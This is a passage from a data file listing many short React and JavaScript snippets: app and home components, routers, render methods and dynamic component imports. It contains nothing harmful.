<Hello lastname=\" Roy\">\n <p>Your age is 22 Years</p>\n </Hello>\n <Greet name=\"abhishek\" lastname=\" kumar\">\n <p>Your age is 31 Years</p>\n </Greet>\n <Greet name=\"Ram\" lastname=\" singh\">\n <button>show</button>\n <p>\n Your Age is 32 Years\n </p></Greet>\n <Welcome name='one'/>\n <Welcome name='two' />\n <Welcome name='three' /> } */}\n </div>\n );\n}", "function Home() {\n \n return (\n <section>\n <Hero/>\n <Categories/>\n <Recomendaciones/>\n <Descuentos/>\n </section>\n )\n}", "function App(){\n\n return<TechList /> \n //<h1>Hello Rocketseat</h1> // usando sintaxe JSX - É necessario importar o react\n}", "component() {\n return import(/* webpackChunkName: \"about\" */ '../views/About.vue');\n }", "function Home() {\r\n return (\r\n <>\r\n <HeroSection/>\r\n <HomeSearch/>\r\n </>\r\n );\r\n}", "function Homepage() {\n return (\n <div >\n <Navbar />\n <Entryform />\n <Displayform />\n </div>\n )\n}", "function App() {\n return (\n <div className=\"App\">\n\n\n<HomePage></HomePage>\n{/* <NewsEvents></NewsEvents> */}\n{/* <ContactFrom></ContactFrom> */}\n\n\n </div>\n );\n}", "function HomeScreen() {\n return (\n <div className=\"App\">\n\n <TeQuestHeader></TeQuestHeader>\n \n <MyCarousel></MyCarousel>\n\n <BoxLabelsPart></BoxLabelsPart>\n\n <CallForAction></CallForAction>\n\n <FeaturedSPs></FeaturedSPs>\n\n <NewsletterSubscribe></NewsletterSubscribe>\n\n <FooterMenuItems></FooterMenuItems>\n </div>\n );\n}", "function App() {\n return (\n // <GooglePexel></GooglePexel>\n <GoogleBooksSearch></GoogleBooksSearch>\n // <div className=\"row\">\n // <div className=\"col-md-8 offset-md-2\">\n // {/* <Contacts /> */}\n // <Country />\n // </div>\n // </div>\n )\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <h1>sreedhar</h1>\n <Student />\n <Add_1 /> */}\n {/* <Props_Components/> */}\n {/* <Props_Classcomponents sayhello=\"good morning\"/> */}\n {/* <State_Components/> */}\n {/* <Events_Component /> */}\n {/* <Binding_Component/> */}\n <Navbar_Component />\n {/* <Conditions_Components/> */}\n {/* <Loops_FunctionalComponets /> */}\n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n <Stylesheet primary = {true} />\n {/* <MyComponent/>\n <MyHeader />\n <ClassComponent name = \"murat aykurt\"/>\n <FunctionalComponent name=\"Murat Aykurt\" dateBirth = \"1992\" /> */}\n \n </div>\n );\n}", "function App() {\n return (\n\n <div >\n\n <Header></Header>\n <AuctionPlayers></AuctionPlayers>\n\n </div>\n );\n}", "render(){\n const testValue = `All the names ${this.state.input}`\n return(\n <test value ={testValue} name={this.state.name} /> //How to render components from other files. value gives testValue as a PROP \n );\n }", "function App() {\n return(\n <div>\n <Navbar/>\n <Homepage/>\n <SignUp/>\n </div>\n );\n \n}", "function Home() {\n return (\n <div>\n <Header />\n <Employee />\n </div>\n )\n}", "function App() {\n\n\n return (\n <div className=\"App\">\n <Navi></Navi>\n<Searchbar></Searchbar>\n \n <Products></Products>\n \n <Footer></Footer>\n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n <TopBar/>\n <ProgressDonations/>\n <FormDisplay/>\n {/* <DonorList/> */}\n\n\n </div>\n \n \n \n \n );\n}", "function AdminHeader() {\n\n return (\n <>\n <header className=\"App-Admin-header\">\n <h1 className=\"App-Admin-title\">DNH Orders</h1>\n\n </header>\n\n \n </>\n );\n}", "getComponent(location, cb) { \n // React will fetch code for getComponent() and call the callback, cb\n System.import('./components/artists/ArtistCreate')\n .then(module => cb(null, module.default));\n // remember System.import('') - webpack will automatically modify the bundle that is generated to split off the module that is called\n // Gotcha's: cb(error argument,)\n // Note: Webpack manually scans for System.import() calls so a help function cannot be used to minimize this code whenusing webpack (b/c of limitations)\n }", "function App() {\n\n return (\n //Se usan Router Switch y Route para crear las rutas y poder de que los componentes sean más dinámicos\n <Router>\n <div className=\"App\">\n <Switch>\n <Route path=\"/usuarios\">\n {/* Barra es todo el contenido de la página, endbar es el crédito al final de página que muestra los créditos de olsoftware */}\n <Barra />\n <EndBar/>\n </Route>\n <Route path=\"/\">\n {/* Sesion se basa en la imagen de fondo y tiene como hijo al cuerpo que se basa en los textos y el componente para poder\n iniciar sesión, esto lo hago es para dejar la imagen que se encuentra en sesion como un fondo de pantalla. */}\n <Sesion>\n <Cuerpo></Cuerpo>\n </Sesion>\n </Route>\n </Switch>\n </div>\n </Router>\n\n );\n}", "function App() {\n return (\n <div> {/* Empty App */}\n<h2>Form</h2>\n {/* <Employee></Employee> */}\n <Form></Form>\n\n {/* <BrowserRouter>\n <Switch>\n <Route exact path=\"/\" componet={Form}/>\n <Route path=\"/success\" componet={Success} />\n </Switch>\n </BrowserRouter> */}\n </div>\n );\n}", "function App() {\n return (\n <Router>\n <div className=\"App\">\n <header className=\"App-header\">\n\t \n \n\t\t<Switch>\n\t\t\t<Route exact path = \"/\" component = {Login} />\n\t\t\t<Route path = \"/home\" component = {Home} />\n\t\t\t<Route path = \"/search\" component = {HospitalSearch}/>\n\t\t\t<Route path = \"/profile\" component = {Profile}/>\n\t\t\t<Route path = \"/rating\" component = {Rating}/>\n\t\t\t<Route path = \"/success\" component = {RatingSuccess}/>\n\t\t\t<Route path = \"/about\" component = {About} />\n\t\t\t<Route path = \"/filtered_hospitals\" component = {Filtered}/>\n\t\t\t<Route path = \"/hospital_page\" component = {HospitalPage}/>\n\t\t</Switch>\n\n </header>\n </div>\n\t</Router>\n );\n}", "render(){\n return(\n <Bienvenida>\n <div >\n <div> \n <h3 className=\"title-section\">Comida</h3>\n <div className = \"panel panel-primary\">\n <div className= \"list-group Desayuno-Menu\">\n {foodElement}\n </div>\n </div>\n </div>\n </div> \n </Bienvenida>\n \n );\n }", "function App() {\n return (\n <div className=\"lucas-app\">\n <Board />\n <Menu />\n </div>\n );\n}", "function RenderCmpnt() {\n // The <Route> that rendered this component has a\n // path of `/kitchen-sink/:cmpnt`. The `:cmpnt` portion\n // of the URL indicates a placeholder that we can\n // get from `useParams()`.\n let { cmpnt } = useParams();\n\n let thecmpnt;\n\n switch (cmpnt) {\n case \"accordion\":\n thecmpnt = (\n <div>\n <AccordionDefault />\n </div>\n );\n break;\n case \"alerts\":\n thecmpnt = (\n <div>\n <AlertsDefault />\n <AlertsNoIcon />\n <AlertsDismissable />\n <AlertsContent />\n </div>\n );\n break;\n case \"alertbanners\":\n thecmpnt = (\n <div>\n <BannersDefault />\n <BannersNoIcon />\n <BannersDismissable />\n <BannersContent />\n </div>\n );\n break;\n case \"alertmessages\":\n thecmpnt = <MessagesDefault />;\n break;\n\n case \"badge\":\n thecmpnt = <BadgesDefault />;\n break;\n case \"badgelabel\":\n thecmpnt = (\n <div>\n <BadgeLabelsDefault />\n <BadgeLabelsHeadings />\n </div>\n );\n break;\n case \"breadcrumb\":\n thecmpnt = (\n <div>\n <BreadcrumbsDefault />\n <BreadcrumbsIcons />\n </div>\n );\n break;\n case \"buttons\":\n thecmpnt = (\n <div>\n <ButtonsDefaultStory />\n <ButtonsWithIconsStory />\n <ButtonSetStory />\n <ButtonGroupStory />\n <ButtonFooterStory />\n <ButtonsPositionStory />\n </div>\n );\n break;\n case \"card\":\n thecmpnt = <CardDefault />;\n break;\n case \"checkbox\":\n thecmpnt = <CheckboxDefault />;\n break;\n case \"contentheader\":\n thecmpnt = (\n <div>\n <ContentHeaderDefault />\n <ContentHeaderIcons />\n </div>\n );\n break;\n case \"datatable\":\n thecmpnt = (\n <div>\n <DataTableDefault />\n <DataTableBasic />\n <DataTableSmall />\n <TablesUsage />\n </div>\n );\n break;\n case \"datepicker\":\n thecmpnt = <DatePickerDefault />;\n break;\n case \"dropdowns\":\n thecmpnt = <DropdownDefault />;\n break;\n case \"expansions\":\n thecmpnt = <ExpansionsDefaultStory />;\n break;\n case \"filebrowser\":\n thecmpnt = <FileBrowserDefault />;\n break;\n case \"growls\":\n thecmpnt = <GrowlsStory />;\n break;\n case \"links\":\n thecmpnt = <LinksDefault />;\n break;\n case \"listgroup\":\n thecmpnt = <ListGroupStory />;\n break;\n case \"modal\":\n thecmpnt = <ModalDefault />;\n break;\n case \"popover\":\n thecmpnt = <PopoverStory />;\n break;\n case \"progress\":\n thecmpnt = <ProgressMessageDefault />;\n break;\n case \"radio\":\n thecmpnt = <RadioDefault />;\n break;\n case \"range\":\n thecmpnt = <RangeDefault />;\n break;\n case \"search\":\n thecmpnt = <SearchDefault />;\n break;\n case \"select\":\n thecmpnt = (\n <div>\n <SelectDefault />\n <SelectMulti />\n </div>\n );\n break;\n case \"spinner\":\n thecmpnt = <SpinnerMessagesDefault />;\n break;\n case \"switch\":\n thecmpnt = <SwitchDefault />;\n break;\n case \"tables\":\n thecmpnt = (\n <div>\n <TablesDefault />\n <TablesAlt />\n <TablesUsage />\n </div>\n );\n break;\n case \"tabs\":\n thecmpnt = <TabsStory />;\n break;\n case \"timepicker\":\n thecmpnt = <TimePickerDefault />;\n break;\n case \"textinput\":\n thecmpnt = <TextInputDefault />;\n break;\n case \"tooltip\":\n thecmpnt = <TooltipDefault />;\n break;\n\n default:\n thecmpnt = (\n <div>\n <ContentHeaderH1 className=\" mt-0\">KitchenSink</ContentHeaderH1>\n <p className=\"lead\">\n All our core components (Storybook stories) A-Z.\n </p>\n <Alert color=\"warning\">\n Warning: several components are still under development and\n incomplete.\n </Alert>\n </div>\n );\n }\n\n return thecmpnt;\n}", "function app () {\n return(\n <div>\n <HomePage></HomePage>\n {/* <main>\n <Contact></Contact>\n <Gallery currentCategory={currentCategory}></Gallery>\n <About></About>\n</main> */}\n <Footer></Footer>\n </div>\n );\n}", "constructor(components) {\r\n this.components = components;\r\n }", "function Routes(){\n return(\n <BrowserRouter>\n <Switch> \n <Route path=\"/\" exact component={EntradaSaida} />\n <Route path=\"/detalhes\" component={Detalhes} />\n <Route path=\"/historico\" component={Historico} />\n </Switch> \n </BrowserRouter>\n );\n}", "function HomePage() {\n return (\n <div className=\"home\">\n {/*This component functionality includes city search and reporting current\n weather,24 hours forecast,minimum and maximum temperature,UVIndex,Wind Speed,Humidity*/}\n <SearchCity />\n {/*This designs the footer section*/}\n <Footer />\n </div>\n )\n}", "function Welcome(props) {\r\n switch (props.gender) {\r\n case \"male\":\r\n return <h1>Bem-Vindo, {props.name}!</h1>;\r\n case \"female\":\r\n return <h1>Bem-Vinda, {props.name}!</h1>;\r\n default:\r\n return <h1>Bem-Vindo!</h1>;\r\n }\r\n}", "function UserPage() {\n\n return (\n <main className=\"component\">\n {/* <Header /> */}\n <UserTabs />\n\n </main>\n );\n\n}", "get AppView() {\n return {\n title: 'Expenso',\n component: require('../Containers/App').default,\n leftButton: 'HAMBURGER',\n };\n }", "function App() {\n return (\n <div className=\"App\">\n <header className=\"App-header\">\n <h3>Email App</h3>\n </header>\n <main>\n <CsvUpload />\n <hr />\n <ListFiles />\n <hr />\n <CurrFileData />\n </main>\n </div>\n );\n}", "render(){\n return (\n <div>\n <Conditional isLoading={this.state.isLoading}/> //importing the Conditional component\n </div>\n )\n }", "function Routes(){\n return(\n <BrowserRouter>\n <Switch>\n \n <Route path=\"/\" component={SignUp} />\n </Switch> \n </BrowserRouter>\n );\n}", "function Home() {\n \n \n return (\n \n <TeacherSignIn />\n );\n}", "function PratoDoDiaComponent() {\n }", "function App() {\n return (\n <div class=\"container p-3 my-3\">\n \n <header class=\"row bg-success p-3\">\n <Componente1/> \n </header>\n\n <nav class=\"navbar navbar-expand-lg navbar-dark row bg-danger\">\n <Componente2/> \n </nav>\n\n <nav class=\"col-md bg-primaary\">\n <Componente4/> \n </nav>\n \n <nav class=\"row bg-dark p-3\">\n <Componente3/> \n </nav>\n\n \n\n </div>\n );\n}", "function Routes(){\n return(\n <Switch>\n <Route path='/login' component={Login}/>\n <Route path='/forgotPassword' component={Login}/>\n <Route path='/newUser' component={NewUser}/>\n <Route path='/forgotPassword' component={ForgotPassword}/>\n <Route path='/vogais' component={HomeVogais} />\n \n <Route path='/telaE' component={TelaE} />\n <Route path='/telaI' component={TelaI} />\n <Route path='/telaO' component={TelaO} />\n <Route path='/telaU' component={TelaU} />\n\n <Route path='/clickImageA' component={ClickImageA} />\n <Route path='/clickImageE' component={ClickImageE} />\n <Route path='/clickImageI' component={ClickImageI} />\n <Route path='/clickImageO' component={ClickImageO} />\n <Route path='/clickImageU' component={ClickImageU} /> \n <Route path='/clickImageAO' component={ClickImageAO} />\n <Route path='/clickImageF' component={ClickImageF} />\n <Route path='/clickImageJ' component={ClickImageJ} />\n <Route path='/clickImageM' component={ClickImageM} />\n \n <Route path='/cloudA' component={CloudA} />\n <Route path='/cloudE' component={CloudE} /> \n <Route path='/cloudI' component={CloudI} /> \n <Route path='/cloudO' component={CloudO} /> \n <Route path='/cloudU' component={CloudU} /> \n\n <Route path='/clickLetterA' component={ClickLetterA} /> \n <Route path='/clickLetterE' component={ClickLetterE} />\n <Route path='/clickLetterI' component={ClickLetterI} />\n <Route path='/clickLetterO' component={ClickLetterO} />\n <Route path='/clickLetterU' component={ClickLetterU} />\n <Route path='/clickWordsF' component={ClickWordsF} />\n <Route path='/clickWordsJ' component={ClickWordsJ} />\n <Route path='/clickWordsM' component={ClickWordsM} />\n\n <Route path='/typeLetterA' component={TypeLetterA} />\n <Route path='/typeLetterE' component={TypeLetterE} />\n <Route path='/typeLetterI' component={TypeLetterI} />\n <Route path='/typeLetterO' component={TypeLetterO} />\n <Route path='/typeLetterU' component={TypeLetterU} />\n <Route path='/typeLetterAO' component={TypeLetterAO} />\n\n <Route path='/typeConsonantsF' component={TypeConsonantsF} />\n <Route path='/typeConsonantsJ' component={TypeConsonantsJ} />\n <Route path='/typeConsonantsM' component={TypeConsonantsM} />\n\n <Route path='/testVowels' component={TestVowels} />\n <Route path='/testFJM' component={TestFJM} />\n {/* <Route path='/testReadFJM' component={TestReadFJM} /> */}\n \n <Route path='/consonants' component={HomeConsonants} />\n <Route path='/fMenu' component={fMenu} />\n <Route path='/jMenu' component={jMenu} />\n <Route path='/mMenu' component={mMenu} />\n <Route path='/nMenu' component={nMenu} />\n \n <Route path='/readF' component={ReadF} />\n <Route path='/readJ' component={ReadJ} />\n <Route path='/readM' component={ReadM} />\n\n <Route path='/' component={Home} />\n </Switch> \n ); \n}", "function Routes() {\n return (\n <Switch>\n <Route exact path=\"/\" component={Home} />\n <Route\n exact\n path=\"/Grades/:phaseName/:stageName/:username/:evt_code\"\n component={Gradesheet}\n />\n <Route\n path=\"/Grades/:phaseName/:stageName/:username\"\n component={GradeComparison}\n />\n <Route path=\"/Grades/:phaseName/:stageName\" component={StageNav} />\n <Route path=\"/Academics\" component={Academics} />\n <Route path=\"/Grades\" component={Grades} />\n <Route path=\"/Settings\" component={Settings} />\n <Route path=\"/Login\" component={Login} />\n <Route path=\"/Logout\" component={Logout} />\n </Switch>\n );\n}", "render() {\n return <div>\n <h1>Recherche des référents</h1>\n <MenuAllForm />\n <RechercheReferentForm />\n </div>;\n }", "function App() {\n return (\n <>\n <Countries></Countries>\n {/* <UserRam/> */}\n </>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n <BrowserRouter>\n <Switch>\n <Route exact path=\"/\" component={Home} />\n <Route exact path=\"/about\" component={Aboutt} />\n <MakeUpProvider>\n <Route exact path=\"/brands\" component={Brands} />\n </MakeUpProvider>\n <Route exact path=\"/prod_types\" component={ProdTypes} />\n </Switch>\n </BrowserRouter>\n </div>\n );\n}", "render() {\n return (\n <div>\n < h2 > Ajouter ou modifier un organisme référent </h2>\n <MenuAllForm />\n <br />\n <AddOrgaRefForm />\n </div>\n );\n }", "function include(path) {\nreturn () => import('@/components/' + path)\n}", "static define() {\n Akili.component('component', Component);\n }", "function App() {\n return (\n // <BrowserRouter /> se encarga de iniciar el router y activar los servicion que lo gestionan\n <BrowserRouter>\n <Header />\n <div className=\"container mt-4\">\n {/* <Switch /> se encarga de hacer que sólo una ruta a la vez se muestre. No permite multiples matches */}\n <Switch>\n {/* <Route /> nos permite configurar cada una de las rutas\n - path: Permite configurar en que url/path se renderizara el componente indicado en la ruta\n - exact: Hace que el match del string sea exacto. Normalmente lo usamos en '/' */}\n <Route exact path=\"/\">\n <Home />\n </Route>\n <Route path=\"/about\">\n <About />\n </Route>\n </Switch>\n </div>\n </BrowserRouter>\n );\n}", "function App(props){\n return(\n <div>\n <Form />\n <ContactList />\n </div>\n )\n}", "function Comp() {\n return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(\"div\", null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_src__WEBPACK_IMPORTED_MODULE_4__.default, {\n lilProject: _sampleReactProject__WEBPACK_IMPORTED_MODULE_5__.default\n }));\n}", "function App() {\n return (\n <div className=\"App\">\n <Switch>\n <Route path=\"/influencerAccess\">\n <InfluencerAccess />\n </Route>\n\n <Route path=\"/BrandLogin\">\n <BrandLogin />\n </Route>\n\n <Route path=\"/Admin\">\n <Admin />\n </Route>\n\n <Route path=\"/\">\n <MainPage />\n </Route>\n\n \n </Switch>\n {/* <View/> */}\n \n </div>\n );\n}", "function Main() {\n return (\n <main>\n <Switch>\n <Route path exact=\"/\" component={NavOptions} />\n <Route path =\"/ContactForm\" component={ContactForm} />\n <Route path =\"/InitClock\" component={InitClock} />\n <Route path=\"/ClockInOut/:qrcode\" component={ClockInOut} />\n <Route path=\"/today\" component={Status} />\n <Route path=\"/contractors\" component={CardList} />\n <Route path=\"/today/:id\" component={IndivStatus} />\n <Route path=\"/admin\" component={Admin} />\n </Switch>\n </main>\n );\n}", "function Main(){\n\nreturn(\n <Fragment>\n <InputTodo />\n <ListTodo />\n </Fragment>\n \n);\n\n}", "function App() {\n return (\n <Router>\n\n <div className=\"app\">\n <Switch>\n\n {/* Planner */}\n <Route path=\"/planner\">\n <Header />\n <DreamHome bg=\"url(/images/dream-home2.jpg)\" />\n <Planner />\n <Footer />\n </Route>\n\n {/* Sign Up */}\n <Route path=\"/signup\">\n <Header />\n <SignUp />\n <Footer />\n </Route>\n\n\n {/* Login */}\n <Route path=\"/login\">\n <Header />\n <Signin />\n <Footer />\n </Route>\n\n {/* AR View */}\n <Route path=\"/ar-view\">\n <Header />\n <ArView />\n <Footer />\n </Route>\n\n {/* AR Designer */}\n <Route path=\"/ar-designer\">\n <Header />\n <ArDesigner />\n <FeaturedProducts />\n <Footer />\n </Route>\n\n {/* Purchase Furniture */}\n <Route path=\"/purchase-furniture\">\n <Header />\n <Shop />\n <Footer />\n </Route>\n\n {/* Hire Service Providers */}\n <Route path=\"/hire-service-providers\">\n <Header />\n <ServiceProviders />\n <Footer />\n </Route>\n\n {/* Construction Projects */}\n <Route path=\"/construction-projects\">\n <Header />\n <h1 style={{paddingLeft: 80, marginTop: 30}}> BID ON CONTRUCTION PROJECTS </h1>\n <Projects />\n <Projects />\n <Projects />\n <Projects />\n <FeaturedServices />\n <Footer />\n </Route>\n\n {/* Material Ads */}\n <Route path=\"/material-ads\">\n <Header />\n <MaterialAds/>\n <Slider image=\"/images/material-banner.jpg\" />\n <MaterialAds/>\n <Footer />\n </Route>\n\n {/* HOME */}\n <Route path=\"/\">\n <Header />\n <Slider image=\"/images/slider-banner.jpg\"/>\n <FeaturedProducts />\n <DreamHome bg=\"url(/images/dream-home.jpg)\" />\n <FeaturedServices />\n <Footer />\n </Route>\n\n \n </Switch>\n \n </div>\n\n </Router>\n \n\n \n \n );\n}", "function Homepage() {\n return (\n <div className=\"Home\">\n \n <Hero />\n <Featured />\n <Footer />\n </div>\n );\n}", "render() {\n return (\n <div className=\"App\">\n {/* <Header/> */}\n <Form/>\n\n </div>\n \n );\n }", "function App() {\n return (\n <div className=\"App\">\n <ThemeProvider theme={theme}>\n {/* <Navbar /> */}\n {/* <AddBook/> */}\n {/* <ButtonAppBar/> */}\n <NavBar />\n <NavBar1/>\n {/* <Library/> */}\n {/* <GridCard /> */}\n {/* <Explore category=\"Entrepreneurship\" /> */}\n {/* <Library search=\"Entrepreneurship\" /> */}\n </ThemeProvider>\n </div>\n );\n}", "import() {\n }", "function Rotas() {\n return (\n <Switch>\n <Route exact path=\"/\" component={PaginaIni} />\n {/* <Route exact path=\"/\" component={Produtos} /> */}\n\n <Route exact path=\"/PaginaIni\" component={PaginaIni} />\n <Route exact path=\"/Produtos\" component={Produtos} />\n <Route exact path=\"/Lojas\" component={Lojas} />\n {/* <Route exact path=\"/pedidos\" component={Pedidos} /> */}\n <Route exact path=\"/Contatos\" component={Contatos} />\n <Route exact path=\"/Pedidoss\" component={Pedidoss} />\n {/* <Route exact path=\"/Produtinhos\" component={Produtinhos} /> */}\n {/* <Route exact path=\"/Mudar\" component={Mudar} /> */}\n\n {/* <Route exact path=\"/Pedidoss\" component={Pedidoss} /> */}\n\n {/* <Route exact path=\"/Pedido\" component={Pedido} /> */}\n\n\n </Switch>\n );\n}", "function LoginRoutesHistoria() {\n return (\n <Switch>\n <Route path=\"/\" component={() => (\n <DashboardHistoria/>\n )}/>\n </Switch>\n )\n\n}", "function App() {\n \n \n return (\n <Router>\n <div className= \"pages\">\n <nav className=\"nav-bar\">\n <h1 className= \"title\">CRYSTALS & PENDULUMS</h1>\n {/* <img src=\"%PUBLIC_URL%/favicon.ico\" width=\"25\" height=\"25\" alt=\"brand\"/> */}\n <ul className=\"across\">\n \n \n <li><Link to=\"/Welcome\">WELCOME</Link></li>\n <li><Link to=\"/Crystals\">CRYSTALS</Link></li>\n <li><Link to=\"/Jewelry\">JEWELRY</Link></li> \n <li><Link to=\"/Pendulums\">PENDULUMS</Link></li> \n <li><Link to=\"/ItemUpload\">ITEM UPLOAD</Link></li>\n </ul> \n \n </nav>\n \n <Switch>\n <Route path='/Welcome'><br/><br/>\n <Welcome />\n </Route>\n <Route path='/Crystals'><br/><br/>\n <Crystals />\n </Route>\n <Route path='/Jewelry'><br/><br/>\n <Jewelry />\n </Route>\n <Route path='/Pendulums'><br/><br/>\n <Pendulums />\n </Route>\n <Route path='/ItemUpload'><br/><br/>\n <ItemUpload />\n \n </Route>\n </Switch>\n\n \n\n\n\n\n </div>\n\n </Router>\n\n \n );\n}", "function App() {\n let routes = (\n <Switch>\n <Route exact path=\"/\" component={Dashboard} />\n {/* <Route path=\"/sign-up\" component={SignUp} />\n <Route path=\"/sign-in\" component={SignIn} />\n <Route path=\"/hall/:hall_id\" component={Hall} />\n <Route path=\"/statistics\" component={Statistics} /> */}\n </Switch>\n )\n return (\n <div>\n {routes}\n </div>\n );\n}", "function Demographics(){\n //define dispatch and history\n const dispatch=useDispatch();\n const history=useHistory();\n //use state to select component\n let [component, setComponent]=useState('')\n // when a component is selected from the drop down the user will be pushed to the url that matches the case\n const getComponent=()=>{\n switch(component){\n case 'Gender':\n return history.push('/gender')\n break;\n case 'Race':\n return history.push('/race')\n break;\n case 'SexualOrientation':\n return history.push('/sexual_orientation')\n break;\n case 'JusticeInvolved':\n return history.push('/justice_involved')\n break;\n default:\n return <></>\n }\n }\n //returns drop down menu\n return(\n <div>\n <div className=\"page-title\">\n <h1>Demographics</h1>\n </div>\n <div className=\"select-demographic\">\n <select className=\"demographic-dropdown\" name=\"Demographic Information\" onChange={(event)=>setComponent(event.target.value)}>\n <option>Select a Chart</option>\n <option value=\"Gender\">Gender</option>\n <option value=\"JusticeInvolved\">Justice Involved</option>\n <option value=\"Race\">Race</option>\n <option value=\"SexualOrientation\">Sexual Orientation</option>\n </select>\n </div>\n <div>\n {getComponent()}\n </div>\n </div>\n )\n}", "render() {\n\t\treturn (\n\t\t\t<div className=\"partsSearchFilter\">\n\n\t\t\t\t<div>Component type:</div>\n\t\t\t\t<TypeAheadMultiSelect />\n\t\t\t\t<div>Component name:</div>\n\t\t\t\t<TypeAheadMultiSelect />\n\n\n\n\n\n\n\n\n\n\n\t\t\t</div>\n\t\t);\n\t}", "function App() {\n\n return (\n <div className=\"App\">\n <Navigation></Navigation>\n <Banner></Banner>\n <Course></Course>\n \n \n </div>\n );\n}", "function LoginRoutesConsulta() {\n return (\n <Switch>\n <Route path=\"/\" component={() => (\n <DashboardConsulta/>\n )}/>\n </Switch>\n )\n\n}", "function App() {\n return (\n <div className=\"App\">\n {/*<Table />*/}\n <Sticky />\n {/*<TableExamplePagination />*/}{/*https://www.geeksforgeeks.org/reactjs-importing-exporting/*/}\n {/*<Scroll />*/}\n </div>\n );\n}", "function App() {\n return (\n <Router>\n <ComponentSwitcher />\n <Switch>\n <Route path=\"/\" component={AddController} exact />\n <Route path=\"/add-villager\" component={AddController} exact />\n <Route path=\"/edit-villager\" component={EditController} exact />\n </Switch>\n </Router>\n );\n}", "function Homepage() {\n return (\n <div style={{textAlign:\"center\"}}>\n <Header></Header>\n {/* <AuthForm></AuthForm> */}\n <MediaObject></MediaObject>\n <Works></Works>\n <Features></Features>\n <Search></Search>\n <Footer></Footer>\n </div>\n );\n}", "componentDidMount() {\n // alert(\"se acaba de cargar el componente\")\n }", "function App() {\n return (\n <div className=\"App\"> \n <Lottery></Lottery>\n <UserTable></UserTable>\n </div>\n );\n}", "render() {\n return (\n <div className=\"App\">\n <header className=\"App-header\">MY APP</header>\n <ListCard/>\n <ListList/>\n </div>\n );\n }", "function App() {\n return (React.createElement(\"div\", null,\n React.createElement(components_1.Nav, null),\n React.createElement(components_1.Switcher, null)));\n}", "function oneOnone() {\n return (\n <div className=\"oneOnone\">\n <BrowserRouter>\n <Switch>\n <Route path=\"/\" exact component={CreateRoom} />\n </Switch>\n </BrowserRouter>\n </div> \n );\n}", "function App() {\n\n return (\n <AuthProvider>\n <SuperheroProvider>\n <BrowserRouter>\n <div className=\"App mx-auto pt-5\">\n <Switch>\n <Route path=\"/\" exact>\n <LoginForm />\n </Route>\n <Route path=\"/search\">\n <SuperheroSearchBar />\n <SuperheroTeam />\n </Route>\n <Route path=\"/superhero/:id\">\n <SuperheroSheet />\n </Route>\n </Switch>\n </div>\n </BrowserRouter>\n </SuperheroProvider>\n </AuthProvider>\n );\n}", "function AboutPage() {\n return (\n <div>\n <div className=\"component-head\">\n <h1>Technologies Used</h1>\n </div>\n <div className=\"hop-logo\">\n <HopsLogo />\n </div>\n <div className=\"container\">\n <div>\n <ul>\n <li>React</li>\n <li>Redux-Saga</li>\n <li>Email.js</li>\n <li>Moment.js</li>\n <li>Node</li>\n <li>Express</li>\n <li>Material-UI</li>\n <li>HTML</li>\n <li>CSS</li>\n </ul>\n </div>\n </div>\n </div>\n );\n}", "function Component(module, name, type){\n\t\n this.import = {\n module: module,\n name: name\n };\n \n this.action = function(){\n \talert(\"I'm defined to do \"+type+\" actions\");\n };\n}", "function Home() {\n return (\n <React.Fragment>\n <SlideTop />\n <SlideMid />\n <SlideBot/>\n \n {/* <Ofert/> */}\n \n </React.Fragment>\n \n );\n}", "function App() {\n return (\n <div className=\"container\">\n <Router>\n <Header />\n <Switch>\n {/* <Route exact path=\"/\" component ={Login}/> */}\n <Route exact path=\"/\" component={HeroListing}/>\n <Route exact path=\"/hero/:heroId\" component={HeroDetail}/>\n <Route exact path=\"/team\" component={Team}/>\n <Route>404 not found!</Route>\n </Switch>\n </Router>\n </div>\n );}", "function App() {\n return (\n <div className=\"App\">\n <BirthdayApp></BirthdayApp> \n </div>\n );\n}", "defineComponents() {\r\n this.components.forEach(Component => {\r\n this[Component.name] = new Component();\r\n });\r\n }", "function NetflixandChill(props) {\n return (\n <>\n <h1>Netflix and Chill</h1>\n </>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <Display/>\n <Products tablename=\"Products Table\"/>\n */}\n \n {/* <DisplayCity/>\n <Counter incBy={4}/>\n\n <Welcome username=\"ABC\" userid={100}/> */}\n\n <P/>\n\n <ReactFragment/>\n </div>\n );\n}", "function Home() {\n return (\n <>\n {/* <SocialAuth/> */}\n <Editor/>\n </>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <Login/> */}\n <Localdata/>\n {/* <Teachers/> */}\n </div>\n );\n}", "function ThirdComponent() {\n return (\n <Fragment>\n <h1>¡Aquí el tercer componente!</h1>\n </Fragment>\n )\n}", "render () {\n return (\n <div>\n <p>Mon application super trop bien 👌🏻❤️</p>\n <Filter />\n <List />\n <Form />\n <p>Made with ❤️ by 🦆 tout doux</p>\n <p><b> Nos vrais noms sont Gilles de la tourette et Gabriel</b> </p>\n </div>\n )\n }", "function Home() {\n return <Decks />;\n}", "render() {\n return (\n <>\n {/* A file container where I attach props. And I export */}\n <HeroList\n questions={this.props.questions}\n history={this.props.history}\n currentQuestion={this.props.currentQuestion}\n listItem={this.props.listItem}\n buttonList={this.props.buttonList}\n closeModal={this.props.closeModal}\n />\n <Question\n showResult={this.props.showResult}\n currentQuestion={this.props.currentQuestion}\n questions={this.props.questions}\n showButtons={this.props.showButtons}\n nextQuestion={this.props.nextQuestion}\n backHandle={this.props.backHandle}\n returnQuestions={this.props.returnQuestions}\n />\n </>\n );\n }", "render() { \n return ( \n <div>\n<h1>Componente de tipo Clase</h1>\n\n{/* Accedemos al estado \"texto\" del objeto state */}\n<h2 style={{color:this.props.colorText}}>{this.state.texto}</h2>\n<h3>Hola, {this.props.name}</h3>\n<ExampleProps nombre={this.props.name}/>\n</div>\n );\n }", "function App() {\n return <AnimalControl />;\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <Navbar/> */}\n {/* <AppYoutube/> */}\n {/* <Post/> */}\n {/* <AppMomani/> */}\n <AppNajdawe/>\n {/* <AppTamimi/> */}\n {/* <AppRoaa/> */}\n {/* <Login/> */}\n </div>\n );\n}", "function App() {\n\n\n\n return (\n <div className=\"App\">\n <SearchGym />\n <Home />\n </div>\n );\n}" ]
